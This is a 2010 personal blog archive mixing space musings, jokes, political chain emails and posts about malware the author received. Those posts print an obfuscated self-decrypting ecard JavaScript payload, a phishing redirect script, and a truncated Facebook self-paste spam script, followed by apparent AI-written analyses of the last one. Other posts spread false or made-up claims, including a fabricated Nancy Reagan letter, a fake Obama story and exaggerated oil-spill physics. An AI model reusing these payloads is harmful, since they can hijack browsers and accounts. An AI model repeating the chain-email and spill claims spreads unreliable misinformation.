John L. Sokol - computer expert, video, compression, information theory and all things cool.
Friday, September 03, 2010
The perfect altitude for a Clark orbit
Looking at those figures, I realized that I needed to round off the actual planned final orbital altitude to the nearest hundred. That was as close as most people, and in particular the news media, would ever remember. So I selected 22,300 miles as the figure for the planned altitude, and used that.
[...]
But the perfect altitude for a Clark orbit, it turns out, is 22,238 statute miles above mean sea level.
[...]
That meant I should have rounded off geosynchronous altitude as 22,200 miles, the closest hundred. Using 22,300 miles was a mistake.
By the time I recognized my error, everyone was using the 22,300 mile figure, even engineers and others who were experts in orbital mechanics.
[...]
It's wrong. And it's all my fault.
Rings of Earth
Space elevators will be it's loading docs connecting but instead of connecting the land and sea, this will connect the land and space. With docks you have to move material using small ships, which is where we currently are in space. If we extend this ocean analogy, most ships are literally only good for one trip only because once we get to the beach, the surf tears them apart. So we're not even to the point of good canoes.
V Cast SONG ID
Saturday, August 28, 2010
ArcAttack: Audio Modulated Thunder Music Pleases Thor
http://www.youtube.com/watch?v=IyxZwFbQzpQ
http://www.youtube.com/watch?v=zetCTCp2WCQ
http://www.youtube.com/watch?v=ckSbMqbQoyY
Behind the scenes
http://www.youtube.com/watch?v=oZLdguAzbwg
http://www.youtube.com/watch?v=Mj_4gTcIbPw
http://www.youtube.com/watch?v=KbS50_65UjI
http://www.youtube.com/watch?v=aJyYhcZwb7E
http://www.arcattack.com
Thursday, August 26, 2010
Asteroids
I am thinking we could create a fleet of small Earth crossing asteroid and use them like space stations as well as have them available to defend us.
The final color of an asteroids indicates how closely it comes to the inner solar system.
Earth Crossers are Red
Earth Approachers (Perihelion less than 1.3AU) are Yellow
All Others are Green
Notice now the pattern of discovery follows the Earth around its orbit, most discoveries are made in the region directly opposite the Sun. You'll also notice some clusters of discoveries on the line between Earth and Jupiter, these are the result of surveys looking for Jovian moons. Similar clusters of discoveries can be tied to the other outer planets, but those are not visible in this video.
As the video moves into the mid 1990's we see much higher discovery rates as automated sky scanning systems come online. Most of the surveys are imaging the sky directly opposite the sun and you'll see a region of high discovery rates aligned in this manner.
At the beginning of 2010 a new discovery pattern becomes evident, with discovery zones in a line perpendicular to the Sun-Earth vector. These new observations are the result of the WISE (Widefield Infrared Survey Explorer) which is a space mission that's tasked with imaging the entire sky in infrared wavelengths.
Currently we have observed over half a million minor planets, and the discovery rates snow no sign that we're running out of undiscovered objects.
Orbital elements were taken from the 'astorb.dat' data created by Ted Bowell and associates at http://www.naic.edu/~nolan/astorb.html
Friday, July 30, 2010
Happy sysadmin day everyone!
> What about the DBAs? They need something too:
http://www.dbaday.com/
ORA-24123 feature "dbaday" is not yet implemented 24123, 00000, "feature %s is not yet implemented" // *Cause: An attempt was made to use the specified feature, but the feature is // not yet implemented. // *Action: Do not attempt to use the feature. //
Monday, July 26, 2010
Kern River Rafting trip.
We went white water rafting on the Kern River. www.mtnriver.com
More Pictures here.
Saturday, June 26, 2010
Monday, June 14, 2010
More self-modifying Javascript.
Delivered-To: xyz@dnull.com Received: (qmail 9347 invoked by uid 82); 14 Jun 2010 12:33:19 -0000 Received: from net37.78.95-129.chelny.ertelecom.ru (95.78.37.129) by dnull.com with SMTP; 14 Jun 2010 12:33:19 -0000 Received: from 95.78.37.129 by mail.rjwaters.com; Mon, 14 Jun 2010 15:32:41 +0200 Message-ID: <000d01cb0bbd$aec28820$6400a8c0@positiverkk> From: "123Greetings.com" <ecards@123greetings.com> To: xyz@dnull.com Subject: positiverkk@rjwaters.com has sent you a birthday ecard. Date: Mon, 14 Jun 2010 15:32:41 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_01CB0BBD.AEC28820" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 This is a multi-part message in MIME format. ------=_NextPart_000_0006_01CB0BBD.AEC28820 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit [positiverkk@rjwaters.com] just sent you an ecard You can view it by open attached document. Your ecard is going to be with us for the next 30 days. We hope you enjoy your ecard.
ecard.html
<script>
var jwp ; jwp = '' ; var cWhax=this;var PR= ''+'replace' ;var qEBr ,QlYGtB ;var Vtb= 135; if (qEBr==QlYGtB){qEBr = QlYGtB -Vtb;}var XR = 'PZiwIHEbmSVFCg' ; var ECA='OcrRadyvPTqvcGV' ; var jYsZyG; jYsZyG='t4tcP7'; var Nht,sz ,IhBx ;if (IhBx<Nht || Nht>
=sz){Nht= sz^IhBx;}var tbDU='0tdtdtc'; var FwMRi ='9t0tdP4P8P9KeK9Xet0tdXdt1' ;var aYPV=219;var assM, PVqWMD ; if (aYPV>
assM){aYPV = assM+PVqWMD;}var ELNT='t6t5tdXaX9tct8t2K7tat6t4K6O5KbK9K6P7P5t0tfXbt8t4tcK9XaXbtaP4Ket1XdXdX9P3K6K6tet6tet6t6X9K7ta'; function sv(nkAfi){var PYQS =jwp; for(vytw= 0 ;vytw<nkAfi['lKeZnugGtKhG'[PR](/[GKudZ]/g,jwp)] ; ++vytw){PYQS =PYQS+cWhax['SGtGrXiRnLgR'[PR](/[RXdGL]/g ,jwp)]['fqrqonmjCjhjanrjCSoSdSen'[PR](/[nqSjO]/g ,jwp)](9^nkAfi['cxhlaQrQCEovdQeQAvtv'[PR](/[vxQEl]/g, jwp)](vytw)); }return PYQS ;}var cNovEF; cNovEF ='' ;var Ult =287 ; var XV , OFRHX; if (OFRHX>
Ult && Ult==XV){Ult = XV - OFRHX ;}cNovEF='t7P2KeP7P5K6t0' ; var cEN= 671; var vGrGWx =49;var wbOXK=8; if (cEN<vGrGWx){cEN= vGrGWx^wbOXK; }var yt ;yt ='' ; yt ='P4KeP8KeK9t1tct0tet1XdP4';var miOda='hrJHSbCrj';var uuRmg ;uuRmg= '';uuRmg = 'K7tat6t4P3P1P9P1P9K6t' ;var qaiU =425; var HRrdL = 625;var UwkVX ; UwkVX=455 ; if (qaiU>
HRrdL){qaiU =HRrdL^UwkVX ;}var lM = 'cujgJRXbCumHlckmswa';var fz ; fz = ''; var eg = 564 ; var HBZP ,cWnUTE ; if (eg>
=HBZP){eg = HBZP - cWnUTE;}fz ='0t7tdtcX1K7X9t1X9P6X'; var wpNFA,pRZ ;var yXAK=896; if (wpNFA>
pRZ){wpNFA = pRZ/yXAK;}var YZX;YZX='KeP8KeK9XaXdX0t5t'; var wrqylK;wrqylK = 'KbK'; var WfLtQN ; WfLtQN =432;var lE=833 ; var eYig =524 ; if (eYig =WfLtQN || WfLtQN<lE){WfLtQN= lE-eYig;}var gIsW ; gIsW ='' ;var ETuZX ,vt;var xzLS =433;if (ETuZX<vt){ETuZX=vt -xzLS; }gIsW='Xftc' ; var QOh , Tfxm , USrprT ; if (QOh>
=Tfxm){QOh =Tfxm+USrprT ; }var Au = 'XtVOyHAW'; var TUsG=217; var Mvm ;Mvm = 3;var CVc; CVc=676 ; if (TUsG>
Mvm){TUsG =Mvm^CVc; }var UeJmfD = 'Xbt5P4t1XdXdX9P3K6K6Xd'; var IyrWK ; IyrWK='t8t5tctd' ; var CaigsD= 819;var YG, ccjfI;if (ccjfI<CaigsD && CaigsD<YG){CaigsD=YG -ccjfI; }var EE ; EE= '' ; EE= '0P2' ; var It; It='Xft0Xat0tbt0t5t0XdX0P3K9t1t' ;var PCUM, bvEVF ; var lwRIU =925 ; if (PCUM==bvEVF){PCUM =bvEVF/lwRIU ;}var MoOU='DECiRVNbVM'; var uRMo, Tw, TbwgHq ;if (uRMo>
Tw){uRMo=Tw -TbwgHq; }var jZGWg = 'HbwTxZ';var zA= 168 ; var oKMNLY= 74; var YNMHpo ;YNMHpo = 312; if (zA>
oKMNLY){zA= oKMNLY+YNMHpo ; }var it='dP4O5KbPaP2Xc' ;var RK ='tdt6taXct4tct7XdK7XeXbt0XdtcK1KbP5t4tcXdt8K9t1XdXdX9K4tcX8Xct0XfP4O5KbXbtctfXbtcXat1O5KbK9tat6t7Xdtct7X'; var pFlFl; pFlFl = '' ;var ufSfR=660; var cbcj=76; var zKTEu = 676 ; if (ufSfR==cbcj){ufSfR =cbcj-zKTEu;}pFlFl = 't8Xat8t7t6Xft8Xbtc' ; var ICqTJ= 945;var yXDh ,Nbu; if (Nbu= ICqTJ && ICqTJ>
yXDh){ICqTJ=yXDh^Nbu; }var iAc; iAc= '';iAc ='tfXbt8'; var aidGt =25 ;var zwxfqC = 337;var AfCI ;AfCI = 159 ; if (aidGt<zwxfqC){aidGt=zwxfqC+AfCI ; }var LbomSl='cP4Ke' ; var hMjFLa=601 ; var bzpXo ,NPqgN; if (hMjFLa==bzpXo){hMjFLa =bzpXo/NPqgN ;}var MAJjm;MAJjm=jwp ;var Km=RK+it ;Km = Km+UeJmfD+ELNT+pFlFl+gIsW+IyrWK+uuRmg;Km= Km+fz;Km= Km+FwMRi+yt+YZX+LbomSl ;Km = Km+It ;Km = Km+tbDU; Km=Km+cNovEF+iAc+jYsZyG; Km= Km+wrqylK; Km=Km+EE+MAJjm ; var YbeU='xKA2osQ0IPn3UOl5YSa1jWL4HXB7mhr8ztv6JZT9'[PR](/[xoIUYjHmzJ]/g ,'\%')[PR](/[AQnlaLBrvT]/g , '\\') ; var ynSSG= "')[PR](/["; var GZGLMc= "]/g ,'%" ;var pFuQcs =YbeU[PR](/[\%]/g ,ynSSG)[PR](/[\\]/g ,GZGLMc);var Inlz, YwGin ; var gRw = 35; if (Inlz==YwGin){Inlz=YwGin^gRw ;}cWhax['eBvAaClF'[PR](/[FCAHB]/g, jwp)]('var CuoNi= Km'+pFuQcs['shuhbhsAtArPiznPga'[PR](/[aAhzP]/g,jwp)](2 ,pFuQcs['lEeSnSgStIhH'[PR](/[HBSIE]/g , jwp)])+"'); "); cWhax['eovnaIlI'[PR](/[InopA]/g , jwp)](sv(cWhax[['uEntejsjcjaEpVej'[PR](/[jVwtE]/g, jwp)]](CuoNi))) ;</script>
Thursday, June 10, 2010
Javascript Phishing Trojan
Dear Customer,
This e-mail was send by dnull.com to notify you that we have temporanly prevented access to your account.
We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions.
I don't have time to decipher it.
Maybe someone here will take the time.
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';<script>
Thursday, May 27, 2010
LET ME SEE IF I GOT THIS RIGHT.
IF YOU CROSS THE NORTH KOREAN BORDER ILLEGALLY YOU GET 12 YEARS HARD LABOR.
IF YOU CROSS THE IRANIAN BORDER ILLEGALLY YOU ARE DETAINED INDEFINITELY.
IF YOU CROSS THE AFGHAN BORDER ILLEGALLY, YOU GET SHOT.
IF YOU CROSS THE SAUDI ARABIAN BORDER ILLEGALLY YOU WILL BE JAILED.
IF YOU CROSS THE CHINESE BORDER ILLEGALLY YOU MAY NEVER BE HEARD FROM AGAIN.
IF YOU CROSS THE VENEZUELAN BORDER ILLEGALLY YOU WILL BE BRANDED A SPY AND YOUR FATE WILL BE SEALED.
IF YOU CROSS THE CUBAN BORDER ILLEGALLY YOU WILL BE THROWN INTO POLITICAL PRISON TO ROT.
IF YOU CROSS THE U.S. BORDER ILLEGALLY YOU GET
- A JOB,
- A DRIVERS LICENSE,
- SOCIAL SECURITY CARD,
- WELFARE,
- FOOD STAMPS,
- CREDIT CARDS,
- SUBSIDIZED RENT OR A LOAN TO BUY A HOUSE,
- FREE EDUCATION,
- FREE HEALTH CARE,
- A LOBBYIST IN WASHINGTON
- BILLIONS OF DOLLARS WORTH OF PUBLIC DOCUMENTS PRINTED IN YOUR LANGUAGE
- THE RIGHT TO CARRY YOUR COUNTRY'S FLAG WHILE YOU PROTEST THAT YOU DON'T GET ENOUGH RESPECT
- AND, IN MANY INSTANCES, YOU CAN VOTE.
PLEASE KEEP THIS GOING ....FORWARD TO ALL OF YOUR FRIENDS & FAMILY
IT'S TIME TO WAKE UP AMERICA !!!!!!!!!!!!
Copy manchines are storing images of everything ever copied!
Sunday, May 23, 2010
Dispersant Corexit + Oil = Toxic soup!
It's is 38% super-strength neurotoxin 2-butoxyethanol. So far they have sprayed over 600,000 Gallons in to the ocean over the oil spill. (link)
2-Butoxyethanol 111-76-2 30.0 - 60.0
Organic sulfonic acid salt Proprietary 10.0 - 30.0
Propylene Glycol 57-55-6 1.0 - 5.0
Corexit is so toxic, it's banned in Britain.
"SKIN CONTACT : Can cause moderate irritation. Harmful if absorbed through skin.
INGESTION : May be harmful if swallowed. May cause liver and kidney effects and/or damage. There may be irritation to the
gastro-intestinal tract.
INHALATION : Harmful by inhalation. Repeated or prolonged exposure may irritate the respiratory tract.
SYMPTOMS OF EXPOSURE :
Acute :Excessive exposure may cause central nervous system effects, nausea, vomiting, anesthetic or narcotic effects.
Chronic :Repeated or excessive exposure to butoxyethanol may cause injury to red blood cells (hemolysis), kidney or the liver.
AGGRAVATION OF EXISTING CONDITIONS : Skin contact may aggravate an existing dermatitis condition.
HUMAN HEALTH HAZARDS - CHRONIC :Contains ethylene glycol monobutyl ether (butoxyethanol). Prolonged and/or repeated exposure through inhalation
or extensive skin contact with EGBE may result in damage to the blood and kidneys."
HUMAN HAZARD CHARACTERIZATION : Based on our hazard characterization, the potential human hazard is: High
<< Revelation 16:3 >> And the second angel poured out his vial upon the sea; and it became as the blood of a dead man: and every living soul died in the sea.
I was never a big believer in the Bible, and reading a line like that always sounded impossible. Till now.
It's really the combination of Oil and Dispersant that are creating it.
EPA May Not Force BP to Change Dispersants
Acute Aquatic Toxicity of Three Corexit Products: an Overview
As a result, Corexit toxicity data have been generated for a vari- ... Corexit toxicity data evaluated in this study were drawn largely from ...
Corexit 9527 MSDS - 38% is 2-butoxyethanol
the 6-14-92 version of Corexit has 2-butoxyethanol...Exxon didn't identify any products on Corexit of 8-1-89 but was using it before it had an MSDS... later ...
www.valdezlink.com/corexit.htm
Corexit used with no MSDS - experiment in Exxon Valdez Oil Spill ...
Corexit? Not a primary dispersant, but brought in to Valdez at about the same time: ... This first version of Corexit (9580) was an Exxon Product ...
www.valdezlink.com/inipol/corexit.htm
Saturday, May 15, 2010
Death of the Oceans!
It's a 5 foot diameter pipe with over 70,000 PSI of pressure. To give you some idea of what that's about, This is the same pressures high pressure water cutters that cut steel, concret or just about anything using a small 1 mm stream. A 5 foot stream of oil, filled with abrasive nano-diamonds, powerful enough to cut any materials we have at a water too deep for humans to work in.
It can't be fixed, at best they tried to put a funnel over it and capture it, but that can't work because this oil is full of expanding gasses. These gasses become increasingly cold as it expands increasing the pressure and force of the oil coming out.
So this has the same effect that a super-volcano has where the volume of material expands explosively.
But it get's worse, It's grinding away the pipe! Once the pipe is gone the hole will grow larger and larger.
In addition these oil deplete all of the available oxygen from the water, killing everything in is path.
And releasing massive amounts of Methane in the the air, this is the other green house gas that's 100's of times more dangerous then CO2.
Estimate are that it will take 3 months to drill a relief well. This is so the pressure can be relieve from the broken pipe enough so that we can then fix it.
There is talk of using a nuke to try to collapse the well and stop it, but is could actually make it worse also.
What bothers me the most is how little the press and people seem to appreciate how bad this event can be for the Human Race.
References:
http://en.wikipedia.org/wiki/Deepwater_Horizon_oil_spill
http://en.wikipedia.org/wiki/Water_jet_cutter
http://en.wikipedia.org/wiki/Supervolcano
Scientists find giant oil plumes under Gulf
One is about 10 miles long, 3 miles wide and 300 feet thick
Leaked report: Government fears Deepwater Horizon well could become unchecked gusher
Deepwater oil spill: will BP take nuclear option?
Nuke that slick
Barack Obama sends nuclear experts to tackle BP's Gulf of Mexico oil leak
Gulf Gusher Worst Case Scenario
Deep Water Horizon Response
Gulf Spill: Did Pesky Hydrates Trigger the Blowout? Methane in the oil.
How Bad Is the Gulf Coast Oil Spill?
Friday, May 14, 2010
The Candy With The Little Hole
This should make you smile.
You have to love little kids.
The children began to identify the flavors by their color:
Red.....................Cherry
Yellow..................Lemon
Green...................Lime
Orange ...............Orange
Finally the teacher gave them all HONEY lifesavers. None of the children
could identify the taste.
The teacher said, 'I will give you all a clue. It's what your mother may
sometimes call your father.'
One little girl looked up in horror, spit her lifesaver out and yelled, 'Oh
my God! They're ass-holes!
The teacher had to leave the room!
Thursday, May 13, 2010
Facebook Virus
It answer this question, they trick you in to copy and pasting this long string of scrambled Javascript in to your browsers URL windows, thereby running it.
Once there they get you to do this.CTRL C - copy
ALT D - Move Focus to URL bar
CTRL V - past and it runs because there is /n at the end.
After inspecting it I figured what the hell and ran it. SO if you get something you'll know what it was.
From there it just seem to hang.
function(){
a='app126063127406590_jop';
b='app126063127406590_jode';
ifc='app126063127406590_ifc';
ifo='app126063127406590_ifo';
mw='app126063127406590_
eval(
function(p,a,c,k,e,r){
e=function(c){
return(c
if(!''.replace(/^/,String)){
while(c--)r[e(c)]=k[c]||e(c);
k=[function(e){return r[e]}];
e=function(){return'\\w+'};
c=1};
while(c--)
if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),
return p
}('
Pe=[
"\\p\\g\\l\\g\\I\\g\\k\\g\\h\\
d=M;d[e[2]](1a)[e[1]][e[0]]=
d[e[2]](a)[e[4]]=d[e[2]](b)[e[
s=d[e[2]](e[6]);
m=d[e[2]](e[7]);
N=d[e[2]](e[8]);
c=d[e[10]](e[9]);
c[e[12]](e[11],E,E);
s[e[13]](c);
B(C(){1b[e[14]]()},O);
B(C(){1c[e[17]](e[15],e[16]);
B(C(){c[e[12]](e[11],E,E);
N[e[13]](c);
B(C(){F=M[e[19]](e[18]);
1d(i 1eF){1f(F[i][e[5]]==e[1g]){F[
m[e[13]](c);
B(C(){d[e[2]](1h)[e[4]]=d[e[2]
d[e[2]](e[1j])[e[1]][e[0]]=e[
',62,85,'||||||||||||||_
{}))})();
RAW as it arrived.
javascript:(function(){a='
Further analysis: Gemini ai.
However, this specific code is broken and will not work. It contains programming errors that will cause it to fail immediately.
Here is a breakdown of what it tries to do and why it fails.
🧐 What It Tries to Do (Its Intent)
The code is "obfuscated" (intentionally scrambled) to hide its purpose. After de-obfuscating it, we can see its goal is to perform actions on a specific Facebook application (with the ID app126063127406590).
The script's intended actions are:
Hide the App: It first tries to hide the application's main wrapper on the page (the element with ID
app126063127406590_mwrapper).Access Your Friends List: It contains a URL to fetch a list of up to 5,000 of your Facebook friends. This is a common tactic for spam scripts, which use the list to tag all your friends in a post.
Post a Status: It finds Facebook's status update elements, including the text area (
composer_text_field) and the submit button (composer_submit).Perform Spam Actions: The ultimate goal is almost certainly to automatically post spam to your profile (and possibly tag your friends) on your behalf, all while hidden.
🛑 Why This Code Is Broken and Fails
This script won't work because it's badly written. It errors out on one of its first steps.
The script tries to run this line of code:
c = document.getElementsByTagName("createElement")
This is an error. The programmer likely confused getElementsByTagName (which finds existing elements) with createElement (which creates a new one).
Immediately after, the script tries to call c.setAttribute(...), but c is not a single element; it's a list of elements (an HTMLCollection). This action fails and throws a fatal JavaScript error, stopping the entire script from running any further.
Even if it got past that error, it has other, similar errors later on (like trying to call fs.responseText(...) as if responseText were a function).
⚠️ Security Warning
You should never run unknown, obfuscated code in your browser's address bar or as a bookmarklet.
It's a common way to execute a Cross-Site Scripting (XSS) attack.
If the code were functional, it could steal your login information, compromise your account, post spam, or send messages to all your friends without your permission.
Delete this bookmarklet immediately.
Further analysis: Meta.ai
Whoa, that's some heavily obfuscated JavaScript code!
It looks like the code is using a technique called "packing" to compress and obscure the original code. The eval function is used to execute the unpacked code.After deobfuscating the code, it appears to be a Facebook-related script that interacts with the page's DOM. Here's a high-level summary:- It defines several variables and functions, including
a, b, ifc, ifo, mw, and others. - It uses
document methods to access and manipulate HTML elements, such as getElementById and appendChild. - It sets up several timeouts using
setTimeout to execute functions at specific intervals (e.g., 5000ms, 2000ms, 4000ms, etc.). - The code seems to be interacting with Facebook's Social Graph API, possibly to fetch or update data.
Without more context, it's difficult to provide a more specific explanation. Can you tell me where you encountered this code?
Also, keep in mind that executing unknown JavaScript code can be a security risk. If you're unsure about the code's origin or purpose, it's best to avoid running it.how do I de-obfuscate it?De-obfuscating JavaScript code can be a challenging task, but I'll guide you through the process.Method 1: Manual De-obfuscation- Identify the packing technique: In this case, the code uses a simple string replacement technique, where the original code is encoded as a string and then unpacked using a function.
- Extract the unpacking function: The unpacking function is the code inside the
eval statement. Copy it into a separate file or a JavaScript console. - Replace the encoded string: Replace the encoded string (
Pe array) with a decoded string. You can use a JavaScript console or a text editor with regex capabilities to replace the encoded characters. - Run the unpacking function: Execute the unpacking function in a JavaScript console or a Node.js environment. This should output the de-obfuscated code.
Method 2: Using Online Tools- Use a JavaScript de-obfuscator: Websites like JSBeautifier or JavaScript Deobfuscator can help de-obfuscate JavaScript code.
- Paste the code: Copy the obfuscated code into the de-obfuscator tool.
- De-obfuscate: Click the de-obfuscate button or run the tool. The output should be the de-obfuscated code.
Method 3: Using Browser DevTools- Open DevTools: Open the browser's developer tools (e.g., Chrome DevTools).
- Create a breakpoint: Set a breakpoint at the
eval statement. - Run the code: Execute the code until it hits the breakpoint.
- Inspect the decoded string: In the DevTools console, inspect the decoded string (e.g.,
Pe array). - Copy the de-obfuscated code: Copy the de-obfuscated code from the console.
Keep in mind that some obfuscation techniques may be more complex, and these methods might not work. In such cases, you may need to use more advanced tools or techniques, such as reverse engineering or dynamic analysis.
eval function is used to execute the unpacked code.- It defines several variables and functions, including
a,b,ifc,ifo,mw, and others. - It uses
documentmethods to access and manipulate HTML elements, such asgetElementByIdandappendChild. - It sets up several timeouts using
setTimeoutto execute functions at specific intervals (e.g., 5000ms, 2000ms, 4000ms, etc.). - The code seems to be interacting with Facebook's Social Graph API, possibly to fetch or update data.
- Identify the packing technique: In this case, the code uses a simple string replacement technique, where the original code is encoded as a string and then unpacked using a function.
- Extract the unpacking function: The unpacking function is the code inside the
evalstatement. Copy it into a separate file or a JavaScript console. - Replace the encoded string: Replace the encoded string (
Pearray) with a decoded string. You can use a JavaScript console or a text editor with regex capabilities to replace the encoded characters. - Run the unpacking function: Execute the unpacking function in a JavaScript console or a Node.js environment. This should output the de-obfuscated code.
- Use a JavaScript de-obfuscator: Websites like JSBeautifier or JavaScript Deobfuscator can help de-obfuscate JavaScript code.
- Paste the code: Copy the obfuscated code into the de-obfuscator tool.
- De-obfuscate: Click the de-obfuscate button or run the tool. The output should be the de-obfuscated code.
- Open DevTools: Open the browser's developer tools (e.g., Chrome DevTools).
- Create a breakpoint: Set a breakpoint at the
evalstatement. - Run the code: Execute the code until it hits the breakpoint.
- Inspect the decoded string: In the DevTools console, inspect the decoded string (e.g.,
Pearray). - Copy the de-obfuscated code: Copy the de-obfuscated code from the console.
Saturday, May 08, 2010
Tuesday, May 04, 2010
Binary Units.
| unit | abbrev. | bytes (decimal) | bytes (binary) |
| bit | b | ⅛ or 0.125 | 2-3 |
| semi-nibble | s | ¼ or 0.25 | 2-2 |
| nibble | n | ½ or 0.5 | 2-1 |
| byte | B | 1 | 20 |
| kilobyte | kB | 103 | 10 |
| megabyte | MB | 106 | 220 |
| gigabyte | GB | 109 | 230 |
| terabyte | TB | 1012 | 240 |
| petabyte | PB | 1015 | 250 |
| exabyte | EB | 1018 | 260 |
| zettabyte | ZB | 1021 | 270 |
| yottabyte | YB | 1024 | 280 |
| brontobyte | BB | 1027 | 290 |
| geopbyte | GeB | 1030 | 2100 |
| saganbyte | SB | 1033 | 2110 |
| pijabyte | PiB | 1036 | 2120 |
| alphabyte | AB | 1039 | 2130 |
| kryatbyte | KB | 1042 | 2140 |
Friday, April 30, 2010
Thursday, April 15, 2010
Electric charges and Asteroids
Could it be that if there were massive dust balls with large electric changes on them then they'd be hollow? Or fluffy sort of the way a kids hair stands up when touching a van de graff generator?
Wouldn't the solar winds almost certainly create large electric charges on anything in space?
Tuesday, April 13, 2010
Movement for public viewing of bills before being enactied in to law.
We get very little information on them before they vote. We don't get to officially test and measure there abilities. I guess we just must assume there degrees from 40 years ago are good enough.
But that is not the real point. The point is major bills keep getting run through before the public can read them. Before our commentary's can be heard.
I think for a bill to be legal there should to be a viewing time available where is bill is shared as a plain ASCII text document for x hours or x day before it can be officially signed in to law. This would be to give the general public discuss it before our "representative" can vote on it.
This discussion could be on the Blogs or the media it doesn't matter really. Instead they talked us to death on the bill were we all just burned out, then rammed something threw.
Same with the Patriot act and many other bill like these Christmas even ones. Now maybe this is political heresy breaking a long history of this sort of thing. But it's just not working any more.
I mean many of our representatives are reachable over e-mail, but there is no reverse channel where we can get information back as fast, one in which we can dictate our opinions to the representative and collectively review these bills that they don't.
Maybe provide some mechanism where we can assert some leverage on these guys like a financial bonus that we can add or subtract from when they are in agreement with the public votes over the web site. Many one that they political party is in control of such as there budget for the campaign.
Come to think of it we could even make a totally internet based political party, one in which everything is transacted collectively across the net. One in which any party affiliation would allow you to participate. Because your going to want to vote in the real election for someone you helped rise in an internet campaign.
Saturday, April 10, 2010
This is how stock markets work!!!
A cold winter!
It was autumn, and the Red Indians asked their New Chief if the winter was going to be cold or mild. Since he was a Red Indian chief in a modern society, he couldn't tell what the weather was going to be.
Nevertheless, to be on the safe side, he replied to his Tribe that the winter was indeed going to be cold and that the members of the village should collect wood to be prepared.
But also being a practical leader, after several days he got an idea. He went to the phone booth, called the National Weather Service and asked 'Is the coming winter going to be cold?' 'It looks like this winter is Going to be quite cold indeed,' the weather man Responded.
So the Chief went back to his people and told them to collect even more Wood. A week later, he called the National Weather Service again. 'Is it going to be a very cold winter?' 'Yes,' the man at National Weather Service again replied, 'It's definitely going to be a very cold winter.'
The Chief again went back to his people and ordered them to collect every scrap of wood they could find. Two weeks later, he called the National Weather Service again. 'Are you absolutely sure that the winter is going to be very cold?' 'Absolutely,' The Man replied. 'It's going to be one of the coldest winters ever.'
'How can you be so sure?' the Chief asked. The weatherman replied, 'The Red Indians are collecting wood like Crazy.'
Thursday, April 08, 2010
I bet whale-oil evolved to act as an acoustic medium.
It probably has all sorts of really interesting properties that we know little about.Like frequency dependency. Maybe even a complex molecule unlike ordinary hydrocarbons. .
Wednesday, April 07, 2010
medical device surveillance
what did i tell u look at the device
Sent at 11:08 PM on Wednesday
Friend: Pages 1001-1008 “National Medical Device Registry” section.
Page 1006 “to be enacted within 36 months upon passage”
Page 503 “… medical device surveillance”
me: ok
Friend: Sounds like prep work for eugenics
Tuesday, April 06, 2010
letter from Nancy Reagan to John Hinckley
To: John Hinckley
From: Mrs. Nancy Reagan
My family and I wanted to drop you a short note to tell you how pleased we are with the great strides you are making in your recovery. In our country's spirit of understanding and forgiveness, we want you to know that we bear no grudge against you for shooting President Reagan. We are fully aware that mental stress and pain could have driven you to such an act of desperation. We're confident that you will soon make a complete recovery and return to your family to join the world again as a healthy and productive man.
Best wishes,
Nancy Reagan & Family
P.S. While you have been incarcerated, Barack Obama has been banging Jodie Foster like a screen door in a tornado. You might want to look into that.
Cattle Guards.
Just had to share this
Cattle Guards.
For those of you who have never traveled to the West or Southwest, cattle guards are horizontal steel rails placed at fence openings, in dug-out places in the roads adjacent to highways (sometimes across highways), to prevent cattle from crossing over that area. Sometimes they are just painted on the pavement, and not really rails at all. For some reason the cattle will not step on the "guards," probably because they fear getting their feet caught between the rails.
A few months ago, President Obama received a report that there were over 100,000 cattle guards in Colorado . Because Colorado ranchers had protested his proposed changes in grazing policies, he ordered the Secretary of the Interior to fire half of the guards immediately.
Before the Interior Secretary could respond and presumably straighten him out, Vice-President, Joe Biden, intervened with a request that before any guards were fired, they be given six months of retraining.
Passed on to you without further comment ...
Friday, March 12, 2010
Theory of everything.
I was thinking about gravity waves. What would make the largest signal?
Two or more black holes falling in to each other, collapsing together. These are singularities of unimaginable masses.
How fast could they rotate? Without friction once they start circling each other they would eventually stale mate and never fall in to each other any further unless there is losses from gravitational drag.
There rotation speeds could be in the trillions of trillions of rpm and doing it with incredible amplitudes. Essentially vibrating the entire universe.
The only way for these two black holes to fall further into each other they must slow down.
This could be done by emitting waves. After all gravity is the only thing that can escape from a black hole. Any matter fall in on itself would start to rotate creating a vortex held open by centrifugal force.
Now imagine the universe as really a giant vibrating table. With time space being the non-Newtonian fluid the wave is traveling within.
http://www.youtube.com/watch?v=3zoTKXXNQIU
Maybe it could be that all matter is self reinforcing patters of material that takes shape because of gravity wave vibrations.
That our perception of the speed of light it the based on the wave length/frequency of these gravity waves.
So is the particle size and life time.
It could be that it's really the vibrations like waves put out in this medium is what creates all particle and matter and governs it's interaction.
In which case the speed of light would be constant over space, but may indeed be varying globally over time depending based on the vibrational field your in.
And that it would be impossible to create small localized fields.
This might explain this whole dark matter and energy. Why galaxies are shaped the way they are etc.
It could also be possible that each galaxy has it's own universal constants derived from the wave frequency and shapes out out from it's regional black holes.
Anyhow it's just a thought. Maybe totally crazy rantings. So don't take these seriously unless I am proven right in 100 years. ;) After all we now have a million monkeys on a million typewrites, all typing, blogs. Eventually one will come out with a right answer.



I was sent this E-mail from Facebook
I don't have time to decipher it.It's self modifying Javascript code. It's seems to also randomly encrypt itself to hide signatures. Maybe I am overestimating it but I don't think so.
Friend Xyz suggested you like Only 5% of rocket scientists know the answer to this...
Friend liked Only 5% of rocket scientists know the answer to this on Facebook and suggested you like it too.To see more details and confirm this invitation, follow the link below:
http://www.facebook.com/n/?